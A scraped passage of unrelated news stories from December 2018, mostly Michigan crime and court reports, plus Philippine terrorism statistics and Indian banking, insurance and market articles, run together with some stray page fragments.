near 88th Avenue. His headlights were not on. Leenheer, who bought two of the stolen firearms, told police that he had information about the theft at Graafschap Hardware, records showed. He said Marroquinn and his girlfriend, Lacy Lynn Zimmerman, 22, were behind the break-in. He told police that Marroquin had what appeared to be a large number of firearms in his vehicle, a Holland police officer, assigned to the West Michigan Enforcement Team, or WEMET, wrote in the affidavit. At the request of police, Leenheer called Marroquin, who was out to eat. Leenheer asked to meet. Marroquin, with the guns in his vehicle, told him to go to the parking lot of Hobby Lobby on Felch Street, police said in court records. Leenheer and police drove by Hobby Lobby where Leenheer identified Marroquins gray Saturn Vue. He then called Marroquin and said to meet behind Best Western Plus Holland Inn & Suites on West Shore Drive. WEMET detectives kept surveillance on the Vue. Once the vehicle reached the hotel parking lot, state police tried to stop his vehicle. Marroquin drove through the parking lot and across a field until he reached northbound U.S. 31. He was last seen driving west on Riley Street when police lost sight of the vehicle, police said. When police stopped at Marroquins home, his father agreed to text Zimmerman. Police soon called her. A detective told her police wanted to recover the guns. The only guns that went anywhere went to your snitch, she told police, then hung up the phone, police said. Police then obtained a state search warrant to find Zimmermans phone. On Dec. 10, police determined the couple were near Baldwin, by M-37 and M-55. Federal Bureau of Alcohol, Tobacco, Firearms and Explosives agents, who were in the area, found the car and arrested Marroquin and Zimmerman on outstanding warrants, court records showed. Marroquin told police the guns were in his vehicle, records showed. Police recovered 20 firearms, burglary tools and methamphetamine, police said in court records. Marroquin told police that Leenheer was his methamphetamine dealer. He said he sold two assault-style rifles for three-quarters of an ounce of methamphetamine and $75, records showed. Police obtained the search warrants for access to data on suspects cell phones. Marroquin and Zimmerman are charged with theft of firearms from a federal firearms licensee, possession of stolen firearms and felon in possession of firearms. Leenheer is charged with possession of stolen firearm and felon in possession of firearm. All of the charges carry penalties up to 10 years in prison upon conviction. JACKSON, MI Alann Steen, who spent nearly five years as a hostage in Lebanon and came home to Jackson County after his release, has died after a brief battle with cancer. Steen, who was living in Spokane, Wash. at the time of his death on Dec. 13, was 79. His wife, Virginia Rose Steen, who died in 2003 of complications from the flu, was a Jackson native, graduating from Jackson High School in 1974 and the University of Michigan four years later. She met her husband while the two were teaching at Beirut University College in the 1980s. Alann Steen, an English and journalism professor, was abducted with three other professors in war-torn Beirut in January 1987. During her husbands captivity, Virginia Steen resided at Clark Lake, where she worked diligently for her husband's release, and to keep the hostage issue alive in the government. Steen was released Dec. 3, 1991, and five days later arrived home at Clark Lake. In January 1992, he took a temporary assignment to teach journalism, photojournalism and advanced writing at Albion College. The Steens left the Jackson area for Wyoming in August 1992 when Alann Steen accepted a journalism teaching job at Casper College. He retired in 2004 and moved to Spokane, according to his obituary. In 1991, the Steens helped light the national Christmas tree in Washington, D.C, and they received the State Bar of Michigans Liberty Bell Award in 1992. KALAMAZOO, MI -- Police are looking for two people who robbed a Kalamazoo credit union in the late afternoon hours of Wednesday, Dec. 19. Kalamazoo Department of Public Safety investigators say the Lake Michigan Credit Union in the 400 block of South Westnedge Avenue was robbed about 5 p.m. Police responded to the credit union about a robbery in progress. Officers learned that two males entered the business, approached a teller and demanded money. No weapon was seen. The robbers fled the area on foot with an undisclosed amount of cash. Police attempted to track them with a police dog, but were not successful. Anyone with information about the robbery can contact the Kalamazoo Department of Public Safety at 269-337-8139 or Silent Observer at 269-343-2100. THREE RIVERS, MI -- When Marshall Henschel, 32, first saw a Facebook post about stranded deer near his house, he didnt know he would be one of the people hailed for their rescue. Residents near Fishers Lake in Three Rivers were concerned Monday when they saw a group of deer stranded on the ice, unable to make it safely to shore. Henschel and his friend Brian Rice put on warm clothes, grabbed an ice pick and life jackets and hopped in a small boat Tuesday, Dec. 18, he said in an interview with MLive. About two hours later, three stranded deer were safe, he said. The men pushed the boat along the ice for about an hour before they reached the deer. As they neared the animals, the men came up with their game plan -- come up from behind the deer and push them to safety. The ice was so slippery they couldnt stand, Henschel said. A fawn was able to run away on its own but two bucks needed help, he said. Henschels family raise deer at Henschel Whitetails in Marcellus. His experience with the animals gave him the skill to capture and rescue them, he said. One deer was lassoed and pulled to the shore, while another was pushed on its stomach along the ice, he said. I would push the deer 10 feet, drag the boat 10 feet, Henschel said. "10 feet at a time. Once on shore, the deer were wrapped in blankets warm up. When concerned residents went to check on the deer the following morning, both had run off, he said. Raising whitetail deer, its a passion," Henschel said. It was the right thing to do to help them. MUSKEGON COUNTY, MI Three years and one mistrial after he was arrested and accused of ordering the murder of another man, Jeremy Morton will face a second trial for open murder. Muskegon County Prosecutor D.J. Hilson said he will retry Morton for the murder of Darnell Byrd in a Muskegon Heights alley off of Morton Avenue in 2015. Byrd was shot by two other men, who have been convicted of his homicide. One of them testified at Mortons trial earlier this month that he was afraid Morton would kill him if he didnt follow his orders and shoot Byrd. Muskegon County Circuit Judge Timothy Hicks declared a mistrial on Dec. 7 after the jury declared it was deadlocked. Hilson said though the case is complicated, the decision to retry Morton was an easy one. We believe this guy is the mastermind behind this murder, Hilson said. Hes a dangerous man and he needs to be put away for a long time. Byrd was shot 13 times early on Sept. 5, 2015, as he walked down the alley to what he believed was going to be a robbery he was to commit with Josiah Fousse and Kierelle Burns, according to trial testimony. Burns was convicted of first-degree murder and is serving life in prison. Fousse pleaded guilty to second-degree murder with the understanding that he would testify for the prosecution in Mortons trial. His sentencing had been delayed until Mortons trial was completed, and Hilson said he believes that sentencing will again be delayed until another trial is held. He really has been relatively cooperative, Hilson said. Fousse testified that Morton ordered Byrd to be killed because he believed Byrd had "snitched' on him about an earlier shootout in which a man died and several, including Byrd, were injured. The shootout was East Park Manor in Muskegon Heights occurred after Morton sent Byrd and Fousse best friends who had come to Muskegon from Cincinnati to root out who had started a fight with a girlfriend of Mortons, Fousse said. However, the defense claimed Fousse killed Byrd - not under threat by Morton -- because he believed Byrd snitched about an earlier homicide in Cincinnati at which they both were present. Fousse had said the two friends came to Muskegon looking for work and ended up selling crack cocaine for Mortons drug enterprise. Defense Attorney Kevin Simowski asserted that the two fled to Muskegon because Cincinnati homicide investigators were closing in on them. Hilson said the Byrd homicide case is very complicated, and called Morton the puppeteer (who) doesnt really get his hands dirty. We appreciate how difficult it was for the jury, Hilson said. This isnt going to deter us from pursuing a successful prosecution of this very dangerous individual. Kevin Simowski, Mortons defense attorney for the recent trial, said he wasnt surprised by the decision to retry his client. Mr. Morton looks forward to being exonerated by a jury, Simowski said. Discussions after the first trial indicated a majority of the jurors didnt believe the prosecutor proved his case beyond a reasonable doubt. Simowski also decried the amount of time Morton has been behind bars awaiting trial. He said he was uncertain if he would be seeking to have Mortons bond reduced so he can be released while awaiting retrial. Mortons trial has been repeatedly delayed and canceled, and at one point the prosecutors office had to refile charges against him. The latest delay occurred after Morton appealed Hicks ruling that the defense couldnt question Fousse at trial if he invoked the Fifth Amendment to avoid self-incrimination in the Ohio homicide. The state Court of Appeals ordered the issue back to Muskegon County Circuit Court for more discussion, and Fousse did end up being questioned about the Ohio matter after not invoking the Fifth Amendment. Muskegon County Senior Assistant Prosecutor Timothy Maat said he expects it will take six to eight months to schedule Mortons new trial. MUSKEGON COUNTY, MI A Muskegon man has been sentenced for operating an illegal gambling operation following his prosecution by the Michigan Attorney General. James Scott Postema, 47, was sentenced to a year in jail for his operation of the Triple Cherries Internet Cafe, 1930 Apple Ave. in Muskegon, according to a press release from the Michigan Gaming Control Board. The gaming board was involved in the investigation of Postema, along with the Muskegon County Sheriffs Office, that began in 2016. A jury trial was held in Ingham County in September, resulting in Postemas conviction for conducting an unlicensed and illegal gambling operation and using a computer to commit a crime. Both are felonies. On Dec. 18, he was sentenced to a year in jail time he can avoid serving if he makes monthly payments toward $19,000 in restitution that will be received by the sheriffs office. He also was placed on 60 months of probation by Ingham County Circuit Judge Rosemarie E. Aquilina. Authorities obtained search warrants for Postemas home and business in 2016, which lead to raids. Law enforcement officials seized currency, bank and credit union accounts, money orders and computer equipment associated with the illegal gambling operation. MUSKEGON COUNTY, MI An allegation of inappropriate conduct by a staff member at Oakridge High School is under investigation by the Muskegon County Sheriffs Office. A request to investigate came from the school district after administrators were alerted by one or more student athletes of allegations of inappropriateness, according to a press release sent Wednesday, Dec. 19, by the Muskegon County Sheriffs Office. No determination has been made whether anything criminal occurred, the press release said. No further information was provided. A phone message left with Oakridge Public Schools Superintendent Tom Livezey was not immediately returned. The sheriffs office asks that anyone with information contact its detective bureau at (231) 724-6658 or Silent Observer at (231) 72-CRIME or online at www.silentobservermuskegon.com. MIDLAND, MI The Dow Chemical Co. has partnered with a company called Good360 to donate 57 recreational vehicle trailers to families whose houses were destroyed by Hurricane Harvey in 2017. The 57 trailers, with a market value of $807,350, were used by Dow workers who lost their own homes in the initial aftermath of the hurricane. The Midland-based chemical giant has substantial production facilities in Texas. The trailers donated are in fantastic condition, said Gabriella Cone, a spokeswoman for Dows Texas operations. When Harvey hit last year, our area in Freeport was hit pretty hard from the flooding event, Cone said. She added that Dow purchased 135 trailers for Dow worker families and, according to a news release, they partnered with Habitat for Humanity to help house those workers in the trailers while their homes were being rebuilt. After Dow employees had their homes rebuilt and moved back, Dow decided to gift the 57 trailers through Good360, two organizations working to identify Hurricane Harvey survivors still in need of a home and provide them with housing. SAGINAW, MI At just 17, Mark L. Reedy entered a Saginaw convenience store intending to rob it with his friend and ended up fatally shooting its clerk. In the aftermath, he was sentenced to spend the rest of his life, without the chance of parole, in prison. After nearly 10,000 days behind bars for his crime, the now-44-year-old Reedy was resentenced to a term that could see him being released from prison in the near future. Reedy on Aug. 14, 1991, entered Glenwood Market, 3267 Glenwood, with 16-year-old Lacy L. Oliver. Both teens wore scarves on their faces and planned to rob the store. During the crime, Reedy shot 36-year-old clerk Monroe Deshazier twice, wounds he succumbed to 10 days later. Reedy and Oliver made off with $700. Police arrested Reedy on March 11, 1992. A jury convicted him of first-degree murder and related charges, for which he received a sentence of life without parole on Sept. 3, 1992. In Michigan, a conviction of first-degree murder comes with a mandatory sentence of life imprisonment without the possibility of parole. The resentencing results from the U.S. Supreme Court in 2012 ruling that mandatory life sentences for those 17 and younger is a form of cruel and unusual punishment. In 2014, Gov. Rick Snyder gave judges the discretion to sentence teen killers to life in prison or 25 to more than 60 years in prison to comply with the Supreme Court decision. Then, in a 6-3 decision in 2016, the nation's highest court ruled its 2012 decision applied retroactively. Since his arrest, Reedy has been incarcerated for 9,779 days, or 26 years, nine months, and eight days as of Wednesday, Dec. 19, the day he appeared before Saginaw County Circuit Judge Andre R. Borrello for resentencing. The judge ended up sentencing Reedy to 27.5 to 60 years in prison. The Michigan Department of Corrections will now determine if and when to parole or discharge Reedy once he has finished serving the rest of his minimum time, of which he has less than a year. On hearing his new sentence, the shackled Reedy hung his head, apparently overcome with emotion. Before Borrello imposed the new sentence, defense attorney Laura Kathleen Sutton provided context for Reedys background and lauded his conduct within the prison walls. Mr. Reedys sentencing gives this court really a rare opportunity to impose a sentence based not only on Marks attributes at the time of the offense, but also take into account here and now and what an individual he has become over 25 years later, Sutton said. She said he grew up in a dysfunctional family, suffered physical abuse, and was himself shot in the head when he was riding in a car at age 16. He was a teenager who reacted to his environment by carrying a gun, Sutton said. Mark Reedy grew up in prison. He decided to become the best man he could be, and took concrete steps toward that end. He took those steps on his own. She described Reedy as an outgoing and friendly person who has earned the reputation of a peacemaker in prison and has taken numerous self-help and educational programs. Hes earned the respect of not only his fellow inmates but also correctional officials as well, she said. Hes shown himself, I believe, to be redeemable. Given the chance to speak himself, Reedy was philosophical, expressing contrition and sorrow for the murder he committed. Im going through a bunch of mixed emotions, he told the judge. Sometimes I feel Im not even supposed to be in this position. I took somebodys life. I know my lawyer said that Ive proved myself to be redeemable, but with all the stuff I accomplished in prison, it means nothing. I took a mans life. I just want to make the court know that I accept full responsibility for my actions and the pain and hurt it caused my victims family, my family, my community. Im ashamed, Im embarrassed. Im pretty much disgusted in how I behaved as a human with no regard for life. He said the maturity he gained in prison has given him the abilities to empathize and communicate with others. I enrolled in self-help programs to better myself and learned a deeper appreciation for humanity, Reedy said. One of my main goals is to help others. He added he is forever mindful that my victims family has spent 27 years without their loved one. His life wasnt in vain. Im the man I am today because of it. Borrello, citing studies that show youths brains arent fully developed until their mid-20s, asked Reedy what changed to make him begin taking responsibility and bettering himself. Reedy replied the death of his mother 18 years ago was something of a wake-up call for him. I knew she didnt want this for me and I didnt want it for myself, he said. Borrello then asked Reedy if he knew his victim, Deshazier. I met him maybe a couple of times, vaguely, but from what I know of him, he was a good man, Reedy said. He didnt deserve it. Borrello also had Reedy recount how the crime occurred, with Reedy stating he shot Deshazier twice after his cohort, Oliver, scuffled with him as Oliver tried accessing the cash register. Addressing the judge after Reedy, Saginaw County Assistant Prosecutor Melissa Hoover said that often in resentencings of juvenile lifers, the concept of the victim gets lost. To Reedys credit, hes the first such prisoner shes seen who spoke of his victim. Mr. Reedys saving grace in this case, Hoover said, is that he has done quite well for himself while hes been in prison. Certainly his remorse is very compelling. Its a lot different on paper than it is to see and hear it, and I appreciate that. At end of the day, she continued, a life was still taken, and Mr. Reedy was the one who took it. Thats certainly something deserving of an extremely stern punishment. Before imposing the new sentence, Borrello spoke at length about how he arrived at the new term. While the judge described Reedys crime as heinous and violent, he credited him for turning his life around himself, especially when he had no prospect of ever leaving prison. He had nowhere to go, Borrello said. I cant imagine what it would be like to walk into an institution and think, Im never getting out, ever. Im never going to live in society as I know it. This is my home for the rest of my life. Faced with that grim future, I gotta tell ya, I dont know how you did it, but you made the best of what you did there. I believe you have spent a great amount of time learning and actually being rehabilitated, Borrello told Reedy. That does not mean I take lightly the fact that a person has died by your hand. After the judge read the sentence aloud and as a Michigan Department of Corrections correctional officer led Reedy from the courtroom, Borrello offered him some more words of encouragement. Sir, I appreciate what youve done with your life, he said. I wish you luck in your future endeavors. Oliver, Reedys codefendant, eventually pleaded guilty to second-degree murder and related charges and in January 1993 was sentenced to 18 to 30 years in prison. The Michigan Department of Corrections discharged him from parole on Oct. 24, 2018 at age 43. They were so brave, werent they? Lightfoot asked me, sarcastically. They jumped in right after Goliath was slain, after Emanuel was vanquished. They must have thought things were absolutely fine in the city, or is it that they were only worried about themselves, worried about keeping their position? Metro Manila (CNN Philippines, December 20) Terrorism in the Philippines worsened in 2017, climbing up two spots and ranking 10th among 163 countries most affected by terrorism. The Philippines is the lone Southeast Asian country to rank in the Global Terrorism Index and also ranked first in the terrorism index in the Asia-Pacific region, where 11 were killed in attacks by Islamic State militants in 2017 - all of which happened in the country. According to the report, 326 died from terrorism in the Philippines in 2017 - the highest since 2002. The communist New People's Army (NPA) is responsible for 35 percent of these deaths, while the Abu Sayyaf is responsible for 37 deaths, and the Maute Group responsible for 26. It added that 33 percent of terrorist-related deaths were committed by unknown assailants, who were likely part of the Abu Sayyaf or the Maute Group, both of which have pledged allegiance to the Islamic State. The NPA and the Abu Sayyaf are among the three deadliest terror organizations in the Asia-Pacific region, the report said, only being bested by the Myanmar-based Arakan Rohingya Salvation Army. Marawi siege The report noted that the five-month siege of Marawi City "was a defining moment in Islamist terrorism in the Philippines" which highlighted that Islamic State-affiliated groups are able to take territory and that the Philippine government had difficulty in responding to this threat. "The Philippines is particularly threatened by [Islamic State]-sympathisers and radical Islamist groups. Many of the leaders responsible for the Marawi siege came from Autonomous Region in Muslim Mindanao, and a number of these same leaders remain active," the report said. It added that many of the remaining fighters in the siege have regrouped and continued training, while Islamic State propaganda online has encouraged foreign fighters to travel to the Philippines and other Southeast Asian countries. It took the Philippine government five months to quell the siege that left hundreds dead, 72,000 families displaced and the entire Mindanao placed under martial law until the end of 2019. The Palace said President Rodrigo Duterte has taken steps to address the worsening terrorism in the Philippines, highlighting his declaration of martial law in Mindanao and his issuance of orders deploying more policemen and military personnel in parts of the country and the creation of a task force against communist rebels. "We are not taking terrorism lightly. Our goal is to totally eradicate rebellion by crushing it as well as by providing better services and opportunities for all to achieve a state where there would no longer be a need for any uprising or armed struggle," Presidential Spokesperson Salvador Panelo said Thursday. The global terrorism index is produced by independent think tank Institute for Economics and Peace based on data from the Global Terrorism Database (GTD), collected and collated by the National Consortium for the Study of Terrorism and Responses to Terrorism at the University of Maryland. The GTD contains over 170,000 terrorist incidents for the period 1970 to 2017. CNN Philippines' Ella Hermonio and Ina Andolong contributed to this report. The uniformed officers had been called to an area near 103rd Street and Dauphin Avenue around 6:20 p.m. after a ShotSpotter sensor picked up gunfire, police officials said. Marmolejo and Gary saw a suspect, got out of their car and scrambled up to the tracks, Guglielmi said. The footage shows the officers crossing the viaduct and heading south in pursuit, and they discussed where the suspect might have gone. OBrien, who is married to Cook County Judge Brendan OBrien, earned degrees in culinary arts and restaurant management. She then made a career change and went to John Marshall Law School, graduating in 1998 and later serving on its board. She was the first Asian elected president of the Women's Bar Association of Illinois, served on the board of governors for the Illinois State Bar Association and co-founded a foundation in 2008 that awards scholarships to law students from diverse backgrounds. Gutierrez said the man was buzzed into the office Wednesday afternoon and was told to wait while the receptionist finished speaking to a caller. The man then walked into an office and accused the congressman of being a racist, and the man allegedly told workers he was going to do everything to get Reboyras re-elected, Gutierrez said. The workers did not say anything while the man was complaining about the congressman and told him they couldnt engage in political partisan conversations, Gutierrez said. In the two videos posted online by Gutierrez, the man is then heard telling someone that they escalated the matter. These survivors, they are calling us recognizing that the criminal justice system may not be one where they will get relief, but they are seeking a measure of justice, they are seeking closure, Madigan said by phone. They are seeking an ability to move forward with their lives and a very large part of that is the church taking their allegations seriously, investigating them and acknowledging the crimes that took place, and publicly disclosing the names of the individuals who committed those crimes. 2 hours ago Norfolk Southern railroad names new CEO to take over in May Norfolk Southern Corp. said its CEO will retire next spring, and it will promote one of its executives to replace him. The railroad said Thursday that Jim Squires will step down as chairman and CEO on May 1 after seven years of leading Norfolk Southern. Read Article Let's talk commodity, in your city This video is an initiative of MCX IPF and is intended to create awareness among readers. December 20, 2018 / 07:42 PM IST Commodity ki Baatein presented by MCX IPF and powered by Moneycontrol is heading towards its fifth destination, Chennai. The experts at the education camp are all set to guide and engage new and existing investors to discuss in-depth about the opportunities available in commodity investing. Stay tuned for more updates! Officers Eduardo Marmolejo and Conrad Gary were sent to the area to investigate about 6:20 p.m. Monday. The officers saw Brown, got out of their car and scrambled up to the tracks, according to police. Emma Walmsley will leave GlaxoSmithKline Plc looking very different from when she took over. The chief executive officer, whos been in office for eighteen months now, is moving to bulk up GSK and then break it up into two separately listed companies some years down the line. Since she took over, on the deals front, GSK took full control of the consumer healthcare joint venture by buying out partner Novartis AGs stake. Then GSK sold its Horlicks nutrition business to Unilever Plc for 3.1billion pounds, and on the same day announced the buyout of TESARO, an oncology-focused company for 4billion pounds. Just as the investing community was ready to shutter their spreadsheets for the holidays, GSK followed up by hiving off its entire consumer health business to a joint venture with Pfizer. GSK conceded a premium to retain management control in the 68:32 venture, and within three years of the transaction closing, this venture would be demerged and listed separately. That will leave GSKs investors two distinct choices, to own a stake in the pharmaceuticals and vaccines business, or the consumer health business or both. The financial structure is such that the pharma business is being left with a lighter balance sheet, giving it the required ability to invest in research and in capital expenditure to grow. As in most things corporate, the long run will reveal how all this actually works out. But the moves appear bold and sensible, reshaping the company to face up to a changed business environment. Indian homegrown pharmaceutical companies could also do reflect on what kind of transformation their business model calls for. That painfully irritating interview question, Where do you see yourself five years from now? is a question that investors should put to pharmaceutical companies more often. Most of them look like clones of each other, starting off with a domestic generic business that scaled up well, moving on to sell in relatively easy to enter emerging markets, and finally moving on to the lucrative western markets. The situation today looks dramatically different from a decade ago, when all of this made eminent sense. US markets are no longer the gift that keeps on giving. A combination of competition, price erosion and quality problems at plants have affected sales growth of some of the biggest companies. While the worst can be said to be over, thats hardly the phrase that excites. Myriad problems such as price controls, currency fluctuations and political upheavals are affecting their performance in other markets. Companies are trying different tactics within existing business lines, to become more profitable, lower expenditure and focus their research investments. But is that enough? This may be the time when chief executives can call their boards attention to the transformative changes happening in the West, and argue its time for bolder steps. Most companies have healthy balance sheets and thats an invaluable ally when attempting change. The decline in valuations in recent years may also make investors more receptive to plans that may have short-term costs. There is the domestic complication of owners also being managers, and their desire to change. What could these steps be? It will vary but it could be one or more of acquisitions, divestments and even the unthinkable -- joining forces with domestic rivals in some markets or business lines. (Correction: A previous version of this article erroneously said GSK had hived off its consumer healthcare business to Novartis, instead of Pfizer. The error is regretted.) The government has sought Parliament's nod for an additional Rs 41,000 crore capital infusion in public sector banks (PSBs) via recapitalisation bonds to support credit growth. While tabling the second supplementary grants demand in Parliament the government has also requested permission to spend Rs 15,100 crore net extra and Rs 85,900 crore gross extra in the current fiscal year. The government had earlier been considering additional capital infusion of up to Rs 30,000 crore in public sector banks as they have been unable to raise required funds from the markets. As part of the capital infusion plan announced by the Finance Ministry in October 2017, the government envisaged that PSBs would raise Rs 58,000 crore from the stock markets by March 2019 to meet Basel III norms. However, due to subdued market conditions, banks have been unable to raise enough funds from the markets so far. In addition, non-performing assets of many banks have seen a spurt in the first two quarters of this fiscal, putting stress on their bottomlines. However, the banks have got a breather in respect of Capital Conservation Buffer (CCB), a part of Basel III norms. The RBI, at its last board meeting, deferred the requirement to meet the CCB target by one year, leaving about Rs 37,000 crore in the hands of banks. Earlier this year, the government pumped in Rs 11,336 crore into five PSBs -- PNB, Allahabad Bank, Indian Overseas Bank, Andhra Bank and Corporation Bank to improve their financial health. with PTI inputs A union of public sector bank officers has called for a strike on Friday, demanding immediate wage revision and protesting merger of the state-owned banks. The strike call given by the All India Bank Officers' Confederation (AIBOC) expected to hit banking operations across the country. However, private sector banks would continue their usual business as they are not part of the strike. Most of the banks have already informed their customers about the strike and its impact on their normal banking operation. The United Forum of Bank Unions (UFBU), an umbrella body of the top nine bank unions, has also decided to observe a strike on December 26. Taking into account these two days of unions' strike and other holidays, banks would be closed for most of the extended Christmas weekend. So, most bank branches will be open only for a day between this Friday and next Wednesday. Till December 26, there are three holidays -- fourth Saturday on December 22, then Sunday and then Christmas on Tuesday. AIBOC joint general secretary Ravinder Gupta said, "We have demanded wage revision based on the minimum wages formula without linking to profits or paying capacity." Besides, the union has also opposed the proposed merger Bank of Baroda, Dena Bank and Vijaya Bank. As of now many major banks have not given the mandate, few banks have given mandate to IBA for negotiating only upto Scale III officers, said Charanjit deputy general secretary Canara Bank Officers' Association, an affiliate of AIBOC said. Such fractured mandate will be resulting in deep cut of allocated funds meant for distributing among the various heads of pay slip components, Gupta said. As the allocated funds would be the agreed percentage of total pay slip components of up to scale III in respect of those banks which have given mandate and not the pay slip components of the entire industry of all the cadres including workmen, he added. Insurance companies witnessed a slew of regulatory changes in the sector in 2018. These included changes in the product structure in life, health and motor insurance products that impacted the way these features were structured in the policy. The major changes -- both implemented and proposed -- have an impact on the existing and potential policyholders. Here are the top developments in the insurance sector in 2018 Tax deduction benefits for senior citizens The union budget increased tax deduction benefits for elderly people, which will offer dual benefits to retired citizens. This benefit include a health cover providing medical treatment expenses incurred on specified diseases for senior citizens to Rs 1 lakh and tax savings of up to Rs 50,000 under Section 80DDB of the Income Tax Act at the same time. Previously, a taxpayer could maximise tax benefit under Section 80D to a total of Rs 55,000 if his/her age is below 60 years, while parents' age is above 60. For those taxpayers who are above the of age 60 and are also paying health insurance premium for their parents, the maximum tax benefit would be a total of Rs 60,000 under section 80D. The table below can be referred to while claiming tax deductions under section 80D for FY 2018-19. *Above age 60 refers to a senior citizen in the above context Long-term third party motor insurance made mandatory for cars, bikes The Supreme Court made it mandatory for all car owners to take three-year motor insurance cover and five-year cover for bikes, from September 1. This led to an immediate increase in the price of motor insurance policies and hit auto sales since the covers were made mandatory. Devendra Rane, Founder and CTO at Coverfox.com said that vehicle owners get cover for a longer period along with freedom from the hassle of yearly renewals, the insurers got a chance to rein in the lapsation ratio. "However, vehicle owners will have to bear the higher outflow of premiums right at the time of purchasing their vehicle," he said. Compulsory personal accident cover for owner-driver The Insurance Regulatory and Development Authority (IRDAI) also gave motor vehicle owners a reason to cheer. The mandatory third-party insurance cover along with personal accident cover for vehicle owners-drivers has been unbundled. Personal accident cover -- which was mandatory in every third-party insurance cover -- will now be available as a standalone policy and you only need to buy it once, as opposed to for every vehicle you have owned earlier. Proposal to trim health insurance exclusions Insurance Regulatory and Development Authority of India (IRDAI) released a report on standardisation of exclusions in the health insurance space. On one hand, this was intended to improve transparency in the sector, but on the other, there is a fear that riskier customers would be excluded from the system. Life insurance plans to see makeover In its draft regulations on life insurance products released in November, IRDAI has said that companies will be able to offer flexible policy tenures for certain products. IRDAI said that insurers can design term, credit life and micro-insurance products that have a range of policy tenures to choose from. However, these regulations would mean that insurers will have to withdraw existing products and re-launch new ones with appropriate features. Ayushman Bharat launched The government launched the Pradhan Mantri Jan Arogya Yojana in September 2018. Under the scheme, also called Ayushman Bharat or Modicare, about 10 million families (50 million people) will get access to Rs 5 lakh worth of health insurance free of cost. This will include families from lower income groups that fall under the socio-economic caste census (SECC) data of 2011. This will be the largest such scheme in the world. According to Dhirendra Mahyavanshi, Co-Founder of Turtlemint, "The new Ayushman Bharat scheme is an initiative which has been implemented by the Government of India which addresses the health care problem of the economically backward class of India. This scheme promises free health insurance coverage of up to Rs 5 lakh (on a family floater basis) to designated economically backward class individuals." New chairman IRDAI chairman In May 2018, Subhash Chandra Khuntia, a 1981-batch Indian Administrative Services (IAS) officer and former Karnataka chief secretary, was appointed as IRDAI chairman for three years. The post was vacant for over two months after TS Vijayan's tenure came to an end on February 21. The first task for Khuntia was to look into the deal where Life Insurance Corporation of India (LIC) was to hold majority stake in IDBI Bank. IRDAI cleared the deal. What to expect in 2019 The year 2019 is expected to bring out more technology-linked products into the insurance sector. Here is a look at the top trends for 2019: Use of wearables in insurance Insurance companies may soon require you to buy a fitness tracker to capture your health status in an accurate manner. An IRDAI committee has recommended that insurance companies make use of activity data monitored by fitness trackers in pricing their products. Although it is currently not clear if the cost of these trackers will be borne by the customer or insurance companies. If the recommendations are taken on board, it will mean lower premiums for people adhering to a fitter lifestyle. Insurance on pilot mode IRDAI will allow companies to test products in a particular geography, or among a set of policyholders before they are made available in the market. Using a sandbox method where products can be tested, IRDAI Chairman Subhash Khuntia said that if they are successful, such products can be filed for approval. So insurers may begin testing products within a close group of customers to get their views and to ascertain the commercial viability of the product. New capital norms In the future, insurance companies will have to maintain capital depending on the type of business that they write. This will be called risk-based capital (RBC) regime. If a company writes riskier business, they will have to maintain more capital in their reserves. IRDAI is expected to bring out a detailed timeline on how RBC will be implemented and the processes to be followed by insurers for pricing each risk. Mental Health insurance products to be widely available While the Mental Healthcare Act was passed, offering insurance for mental ailments was made mandatory by law. However, due to a lack of clarity on the product structure, insurers stayed away from offering these products. In 2019, insurers could bring out products with a series of inclusions and exclusions. Even therapy sessions will be covered. Digitisation of insurance products IRDAI may make it mandatory for insurance companies to offer insurance policies only in a digital format. This will be done through the use of insurance repositories where each policyholder will have an electronic insurance account with a unique identity number. Currently, the number of digital insurance policies are very low since it is optional for a wide category of products. Political movements, crude and rupee trajectory, and earnings growth, among others, are likely to decide the direction for the market in 2019, experts told Moneycontrol. The market has had a volatile 2018, with indices having wiped out majority of gains from the previous year, weighed by shock events such as PNB scam and IL&FS issue, among others. As of December 18, 2018, both Sensex and Nifty returned 4-7 percent. Against this, these indices had risen almost 30 percent in 2017. We expect Nifty and the Sensex to trade in a broad rangebound fashion, although the action is likely to be more stock-specific. A lot will depend on the Bank Nifty which has an inordinately high weightage in the indices, Mayuresh Joshi, Fund Manager at Angel Broking had told Moneycontrol. Going forward, here are a few developments that are likely to affect market movements. Political developments Even as the Street grapples with losses to the ruling party in three out of five states that had elections, the litmus test will be in 2019. Experts believe that it could be the test of Prime Minister Narendra Modis popularity, which assured a clean and corruption-free government. But commentary around Rafale scam, among others, could mean a headache for the market. Markets like a stable government at the Centre, and any assurance on that front could spell relief for equities. "Political analysts will try to draw inferences about state assembly elections impact on 2019 Lok Sabha elections. So most important thing markets will look forward to in any election outcome is political stability, so that policy making will be seamless and robust. Any election outcome that can provide such political stability, markets will welcome," Jagannadham Thunuguntla, Senior VP and Head of Research (Wealth) at Centrum Broking had told Moneycontrol. Earnings Corporate earnings is another key point that the Street will keep an eye on. After multiple years of poor earnings growth, analysts were hoping for good growth in the quarter that just went by. But, political overhang getting over and hopes of a better monsoon are factors that will likely keep earnings in focus. FY19 should see strong double-digit earnings growth with consensus 18 percent overall growth. This is on the back of lower input costs and a sharp improvement in macros with stable rupee, and oil correcting over 25-30 percent. Also, capex expansion from the government should see more traction to which we should also see a strong revival in private capex, IIFLs Sanjiv Bhasin said in during this interaction. Crude prices Crude prices were at the centre of the market correction in 2018 and it could continue to have the same influence on the market going ahead. For a country like India, crude price movement becomes significant as it is a huge importer of oil. Crude also rose when tensions between the US and North Korea escalated. Now, the sudden crash in prices is due to US granting waiver to a few nations to import oil from Iran. Going forward, any untoward incident along with supply and investor decisions of crude could weigh on the price movement. Also, the threat of a slowdown in global economies could impact the crude prices, too. China growth Slowdown concerns in the US and China due to intense trade wars between the nations have made investors jittery. However, the worlds second largest economy, China, has started to show signs of weakness with slowest retail sale growth in 15 years and weakest factory output in three years which might have an impact globally in equities and commodity market, Siddharth Sedani, Vice President Equity Advisory at Anand Rathi Shares and Stock Brokers told Moneycontrol. Consumption Going forward, the consumption story is likely to be in focus, experts have said. With elections lined up, the government is likely to push rural and consumption-boosting schemes and that could move the market as well. Further, the aim of doubling farmer income is also likely to keep consumption story in focus. The consumption story will drive the Indian market ahead with the increasing rural consumption and the government aiming to achieve doubling of farmers income. Also, the current central election will put the rural sector in priority and the governments rural spending is ought to increase which will be an added (advantage) in the story, Sedani further added. (With inputs from agencies) IPO live bse live nse live Volume Todays L/H More The year is coming to an end and its time for investors to look back and assess their investments. The year 2018 saw a lot of action in the primary market, or initial public offerings (IPOs). Of all the IPOs listed this year, five IPOs that performed the worst were Apollo Micro Systems, ICICI Securities, Indostar Capital Finance, Hindustan Aeronautics, and Bharat Dynamics. 